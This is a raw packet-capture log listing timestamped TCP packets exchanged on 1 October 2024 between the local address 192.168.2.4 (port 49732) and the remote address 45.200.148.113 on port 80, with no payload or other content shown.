Oct 1, 2024 07:51:16.450558901 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450572968 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450598955 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450766087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450777054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450799942 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450799942 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450809002 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450814009 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450819016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450829983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450830936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450840950 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.450849056 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.450869083 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451009989 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451040030 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451179981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451194048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451204062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451214075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451215029 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451224089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451227903 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451234102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451244116 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451245070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451255083 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451263905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451272964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451273918 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451284885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451289892 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451303959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451328993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451869965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451880932 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451889992 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451900005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451901913 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451910973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451920986 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451922894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451931000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451941013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451951027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451952934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451960087 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451968908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451970100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451980114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451988935 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.451989889 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.451999903 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452006102 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452009916 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452019930 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452020884 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452029943 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452039957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452049017 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452049971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452075958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452843904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452855110 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452864885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452874899 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452878952 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452886105 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452894926 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452897072 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452908039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452918053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452922106 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452928066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452938080 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452948093 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452949047 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452958107 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452965975 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452967882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452977896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452980042 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.452987909 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.452997923 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453006983 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453008890 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453020096 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453037024 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453052044 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453795910 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453807116 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453823090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453826904 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453833103 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453841925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453844070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453855038 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453861952 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453864098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453875065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453886032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453887939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453896046 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453901052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453906059 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453916073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453918934 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453926086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453937054 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453946114 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453947067 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453957081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.453969002 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.453988075 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.537496090 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537555933 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537578106 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537674904 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537687063 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537697077 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537703037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.537708998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537753105 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.537925005 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537935972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537960052 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537971020 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537978888 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.537981987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.537992001 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538005114 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538011074 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538038015 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538064003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538249016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538259029 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538300037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538305044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538316965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538335085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538345098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538352966 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538356066 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538372993 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538383007 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538398027 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538404942 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538408995 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538419962 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538425922 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538430929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538459063 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538485050 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.538932085 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538944006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538954973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.538985014 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539057970 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539151907 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539170980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539182901 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539192915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539202929 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539213896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539228916 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539235115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539252043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539263010 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539263964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539275885 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539294958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539299965 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539314032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539319992 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539324045 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539340973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539350033 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539351940 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539364100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.539400101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.539400101 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.540137053 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540152073 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540162086 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540172100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540183067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540188074 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.540193081 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540204048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540214062 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540221930 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.540224075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540235043 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540245056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540255070 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540260077 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.540266037 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540277958 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540287971 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540288925 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.540299892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540311098 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540311098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.540321112 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.540333986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.540359974 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541136980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541147947 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541157961 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541172981 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541183949 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541186094 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541196108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541203022 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541205883 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541218042 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541234016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541238070 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541244984 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541254997 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541265011 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541265965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541280031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541294098 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541301012 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541311026 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541313887 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541321039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541332006 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541332960 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541342974 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.541400909 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.541429996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542052031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542062998 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542073011 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542083025 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542093039 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542103052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542104959 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542114973 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542124987 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542126894 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542138100 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542149067 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542150021 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542160034 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542170048 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542176008 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542179108 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542190075 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542200089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542211056 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542221069 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542243004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542243004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542243958 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542262077 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542875051 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542886972 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542896032 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542907000 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542917013 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542927980 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542927980 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542938948 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542944908 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542949915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542960882 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542968035 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.542972088 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.542994976 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.543015003 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.625936031 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.625961065 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.625971079 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626044035 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626055956 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626116037 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626121044 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626132965 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626174927 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626193047 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626204014 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626251936 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626271963 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626281977 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626307964 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626338959 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626411915 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626421928 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626432896 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626444101 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626449108 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626454115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626465082 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626471996 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626532078 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626534939 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626569986 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626583099 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626625061 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626681089 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626692057 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626701117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626725912 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626751900 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626863003 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626873016 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626883030 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626894951 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626908064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626910925 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626920938 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626930952 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.626934052 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626956940 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.626981020 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627063990 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627074957 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627110004 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627252102 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627262115 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627276897 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627286911 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627294064 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627298117 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627307892 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627315998 CEST	49732	80	192.168.2.4	45.200.148.113
Oct 1, 2024 07:51:16.627317905 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627327919 CEST	80	49732	45.200.148.113	192.168.2.4
Oct 1, 2024 07:51:16.627337933 CEST	80	49732	45.200.148.113	192.168.2.4
